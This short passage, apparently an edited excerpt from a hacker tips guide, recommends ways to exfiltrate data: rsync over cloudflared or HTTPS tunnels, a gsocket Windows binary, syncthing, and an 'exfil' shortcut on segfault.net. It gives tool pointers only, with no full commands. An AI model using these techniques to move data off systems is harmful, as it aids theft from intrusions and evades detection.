 Rsync can be combined to exfil via [https / cloudflared raw TCP tunnels](https://iq.thc.org/tunnel-via-cloudflare-to-any-tcp-service).  
 (To exfil from Windows, use the rsync.exe from the [gsocket windows package](https://github.com/hackerschoice/binary/raw/main/gsocket/bin/gs-netcat_x86_64-cygwin_full.zip)). A noisier solution is [syncthing](https://syncthing.net/).
 
+Pro Tip: Lazy hackers just type `exfil` on segfault.net.
